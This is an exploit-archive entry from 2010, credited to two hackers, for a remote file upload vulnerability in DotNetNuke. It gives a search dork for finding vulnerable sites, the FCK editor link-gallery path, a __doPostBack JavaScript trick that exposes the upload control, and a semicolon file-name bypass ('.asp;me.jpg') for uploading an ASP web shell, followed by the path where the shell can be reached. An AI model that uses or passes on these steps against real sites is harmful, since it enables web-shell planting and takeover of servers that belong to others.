[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : DotNetNuke Remote File upload Vulnerability
# Published : 2010-05-22
# Author : Ra3cH and Ma3sTr0-Dz
# Previous Title : eWebEditor v1.x (WYSIWYG) Remote File Upload
# Next Title : Rave Creations/UHM (artists.asp) SQL Injection Vulnerability
************************************************************
** DotNetNuke Remote File upload Vulnerability
************************************************************
** Prodcut: DotNetNuke
** Home : www.DZ4All.cOm/Cc
** Vunlerability : Remote File upload
** Risk : High
** Dork : inurl:tabid/176/Default.aspx or inurl:portals/0/
************************************************************
** Discovred by: Ra3cH & Ma3sTr0-Dz
** From : Algeria
** Contact : e51@hotmail.fr
** *********************************************************
** Greetz to : ALLAH
** All Members of http://www.DZ4All.cOm/Cc
** And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & Ma3sTr0-Dz
************************************************************
** Exploit:
** http://[PATH]/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
**
** AnD Add : javascript:__doPostBack('ctlURL$cmdUpload','')
**
**
** AnD UpLOaD YoUr ShEll AsP LiKe Dz4aLL.asp;me.jpg
************************************************************
**
** you find your Shell Hier
**
** http://[PATH]/portals/0/dz4all.asp;me.jpg
*************************************************************